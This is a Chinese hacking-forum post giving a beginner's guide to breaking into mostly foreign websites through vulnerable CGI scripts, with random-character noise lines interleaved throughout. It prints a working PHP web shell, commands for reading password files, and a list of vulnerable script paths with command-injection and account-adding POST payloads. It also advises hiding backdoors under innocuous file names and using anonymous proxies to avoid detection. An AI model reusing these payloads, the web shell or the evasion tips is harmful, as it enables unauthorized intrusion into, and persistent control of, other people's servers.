中国网络渗透测试联盟
标题:
CGI 脚本入侵快速上手+脚本使用方法
[打印本页]
作者:
admin
时间:
2012-9-13 16:54
标题:
CGI 脚本入侵快速上手+脚本使用方法
CGI 脚本入侵快速上手+脚本使用方法
8 A' R- o% z, m9 i5 [
大家好 我是bboyhip 只是一名菜菜的exploiter
; _. K3 i# ~6 |: B5 ?( o
很开心来到贵论坛
# J- o) |1 d# h4 q6 e
这里让我感觉 很有技术交流的感觉
j- f% ?# Y& w9 ]- w
我会长长来玩的
6 q) N z4 j' @4 O
前言:
' Q' @: B" M# f! p4 p
以下讲解针对欧美日本网站
# m- t* G# P6 c9 Z# h
當我們在做滲透分析的時候 方法有很多
b0 G* m; K5 l3 X# L
我门都知道 国外伺服器大多是linux 平台
% T5 U" F, ~& t
所以有很多网站程序有6成都会使用cgi 脚本来管理
0 _+ E" _$ s- S2 v& H
目录为/cgi-bin/
# C# l" ?3 I# U- m( G
1 ]" A* D4 o( w4 q" }& N3 I' E1 `
只是个人在实务上一些经验
+ x4 h" M4 z( _, S' e# Y3 ^/ |& [
写的不好 请多多见谅喔
* {# q( N! `9 p) E+ p% m
在这里我简单分为几个部份一定要會的
5 e$ E. ]4 _0 a
讲解一下
1 u. ^, u; v. ^3 |% n& P+ |
让没有基础的人很容易上手
p+ w+ J1 r0 ~/ X! {- o
) j( P: v% W( ]/ O8 T3 e3 W
以下内容跟帖回复才能看到
; x# e. b/ L, j1 Q* l" l4 a
==============================
( h5 [% e: s6 o0 \
4 }7 L7 i, M8 U$ u9 n" M
第1部份: 何谓Shell?
$ q: a2 t' d) T& p+ ^
Shell的中文, 可称为 "壳". Shell 是一个比较复杂的概念, 先看比较传统的解释:
" E! m( ?& ^- e
A shell is the program which reads user input from the command line and executes actions based upon that input.
@$ V! _0 F. x3 ]; a* Y$ _$ F
意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.
( V e1 y% @( J8 C* K
C! C* w7 h/ q. f# a$ i
对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.
! q" @( \8 N' w; q
要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门. 大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多. 在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
; R# S l- h9 L& ~. [
所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.
- o/ i6 V' Z2 K7 w9 p8 d
N+ u4 m0 _ r
第2部份: Unix 指令
9 B& w Q5 j1 K' a3 m
以下是一些常见及重要的指令:
6 H5 e) x2 N, w C& O$ M: n, B
pwd: 显示当前目录, 即是後门/程式所在的位置
2 v1 R( k9 y6 U; `" _8 q. [8 C
如 /home/www/site.com/cgi-bin/
* C# `7 K5 v& b
ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).
3 S" I5 v/ H5 D- y" C6 s; F3 y
ls -al :详细列出档案资料(当前目录)
, v3 x3 Y2 Q1 A% h
ls /: 列出根目录
1 E+ B$ r1 N# S- c# v& t6 m
ls /etc: 列出/etc的资料夹及档案
) m) j! s% f8 I% ^0 J$ J# G0 {
ls ../ -al: 详细列出上一层的资料夹及档案
# f# h; A1 ^$ X" A$ E) }
cat: 显示档案内容
C0 Y. N: ]/ C. U/ m4 ]) j1 m) F
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
* V3 `8 Y1 ^* }6 g; n+ }1 t
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
) ~3 c0 c- p0 B1 y
who: 显示谁login 至系统
' n0 n% Q0 \- M$ C9 }& }
man: 显示指令用法
$ X, m6 \& J1 ~# V* W0 U
man ls: 显示ls这指令的用法
: b1 ~ L$ ~( c. M" C5 l5 o5 Q
mkdir 建立目录
$ r/ D% \1 I* T8 R
rmdir 删除目录
3 F6 S+ T9 ]% H1 A' s8 v
mv 移动档案
s- @! T/ [9 G# |+ g* S5 U
rm 删除档案
' w: |+ N% R2 s- P( [' T4 T' B4 p
2 S6 I8 Z1 \. }5 P, \6 u
第3部份: Shell的使用
# L& `) N7 M) K* V, G
例如:
2 L5 D4 {, j5 |! a
http://site.com/refer.php
y @1 h4 Y7 W( w% b* k
这是我的後门, 原代码如下:
- I5 w$ x; x4 i) |6 F) Y
<Form Action="#" Method="POST">
% }: ]* Y) {* [: N" [( g
<Input type="text" name="cmd">
8 A3 \3 `7 O/ O& A/ i' g; F
<Input type="Submit">
$ ~0 P v2 y N
</Form>
5 e, T% T0 o6 W8 `' s3 C
<?php
+ ?4 }4 M- Z' t4 `
$cmd = $_POST['cmd'];
8 M8 C o; s( E1 x/ G5 o5 L
$Output = shell_exec($cmd);
9 P5 H2 H7 K0 R' `* `: f5 g
echo $Output;
3 ~0 e% z9 a- U" T
?>
* H9 m; e, G4 x
输入pwd, 可得到绝对路径:
- N) j+ Y9 l7 I5 S5 V
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com
2 w5 g! s) |8 z; H1 A, _+ t
6 R/ z1 n% E! j# |0 T. H
第4部份: 注意事项
, d# m/ ]* O0 q k8 \
- 使用匿名代理, 保障自己
4 p: Z$ `( \; D6 w d: }
- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
3 j. d% B( s4 |$ {! s
- 加後门前, 必须了解目标系统是否支援. 例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
( p+ g. x3 j: C6 A; `, z: p
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
# @2 K7 a( i+ c! d! m" @/ |) `
- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
# h( a4 F8 G, _, u3 ?8 U
不容易被发现.
+ H0 Q- r/ v! \+ W
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
0 O& O3 x' T" N9 c
针对网站的渗透分析方法太多了
3 f3 h2 e2 M" n! E( {% z
这篇文章的重点是cgi 脚本攻击
8 U2 {; a3 C8 o! ^4 x; Z8 F
所以我用简单的叙述形容
4 A, a6 w. S$ @- @( D7 k
开始讲解脚本入侵过程:
* B8 d" Q" _% W# M. E0 w: Z
在这里提供一些方法思路让大家学习一下
5 x# }% U; ?# x0 z; n
" T1 f$ Z% ?7 o/ q1 }; h1 K
1.一开始对一个网站进行cgi漏洞扫描
% ^: Z. T3 R1 B [; B
我们需要的东西有
( Q9 u3 T- d0 A
扫洞工具 如:triton..等等
1 t/ x- L& ^) z# Y
E表
8 ^: t6 W# s: r. [
如
9 x: v6 p6 Q7 Y6 ]
/cgi-bin/add-passwd.cgi
* z; J& e: o6 C9 p+ }
/WebShop/templates/cc.txt
& _$ c. ]- ~6 T# Q2 {# z6 [8 g
/Admin_files/order.log
* m8 W0 @' h" _. ^" b6 u
/orders/mountain.cfg
2 f' l* |% O. w. J( O/ N$ C0 e; n, D
/cgi-sys/cart.pl
0 S* M3 Y% U2 W6 a/ _5 H+ f9 V+ a, T: {
/scripts/cart.pl
# R7 B ?+ o. w
/htbin/cart.pl
# c" m( O3 P1 l+ K8 z9 I' l
E表来源可以是网路收寻或是自己的0 day
7 l5 H! N& D! q0 m
' y* ~3 l0 f. e5 t% R+ P
2.怎样确认扫到的洞 是真的还假的?
: H& ~1 o& G! D2 y. G
举例: target:
http://www.site.com/cgi-bin/add-passwd.cgi
/ R- n& \* C3 Q5 i& n' n
一般都是在IE里先看一下的,记住这个返回码哦
" P! F; k$ X* Q8 `, Q7 o
ERROR:This script should be referenced with a METHOD of POST.
) q6 A/ m" F" @; D5 j
没有返回一定是假的
$ T. C6 S. M* S) y4 b
3.重来来了 很多人都会问我
" z8 {0 ]1 l3 W3 b+ ~
他扫到很多洞 但是不会使用
0 ~2 s# i$ K8 [0 K d8 r' R# B
因为这些漏洞 使用的语法 称为post
3 N% ` }( e# x' f4 l! O
我们要找post 的方法很多
4 l7 n7 O4 M! N7 z& n
可以是源代码分析 找出介质
/ s% Q9 ~* j, S2 x
或是用抓包工具 抓他的语法...等等
8 a: i8 g" K. N$ c1 b% z- g
J8 O. p, F2 I5 W) G' N
以下我提供10个 cgi 洞以及使用方法post
9 S0 W6 j' G, g: V# u' J. X
让大家可以针对网站去做扫描
7 e% p' F1 [5 @( S
/index.cgi
1 I" C3 R M) L$ _9 s- W" u7 ? k
wei=ren&gen=command
& C5 D4 C; s q0 {, L Y
/passmaster.cgi
3 ^3 ?2 }& C% b+ _9 z+ A
Action=Add&Username=Username&Password=Password
( M; E( p1 l m% `0 e
/accountcreate.cgi
% J4 @! i9 I+ d7 A* B2 `
username=username&password=password&ref1=|echo;ls|
4 @; \: h5 [0 Y. Z
/form.cgi
8 [: n( t+ U/ ~6 u. _
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
# _: e" v: F, k, H
/addusr.pl
0 L# O2 C* a( w h
/cgi-bin/EuroDebit/addusr.pl
: N& j N5 R9 a5 {4 o, G. F8 L2 }" x$ n
user=username&pass=Password&confirm=Password
8 D) `( b5 ?, u5 E- e! V. @% j& F
/ccbill-local.asp
& q i# T. a2 y6 W" q2 U
post_values=username:password
[" |: `+ _; `. f; j& L
/count.cgi
2 N& ~: f- t' O( {9 |5 O
pinfile=|echo;ls -la;exit|
) @* I9 N# x6 Q% ?% M
/recon.cgi
% k- a/ O% H i% T- v$ v
/recon.cgi?search
5 p: E6 q P& t& t
searchoption=1&searchfor=|echo;ls -al;exit|
* g% _% B( v- Q6 L/ Y' r
/verotelrum.pl
2 x% g- e1 X/ b s
vercode=username:password:dseegsow:add:amount<&30>
" R! B( u2 m( r' \; O
/af.cgi_browser_out=|echo;ls -la;exit;|
# z8 g& B0 i9 H" l1 _
1 h. {' Y! j4 _4 d$ p& z7 _
今天就讲到这 感谢大家支持
9 L7 A V/ j# l% S( l* C
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2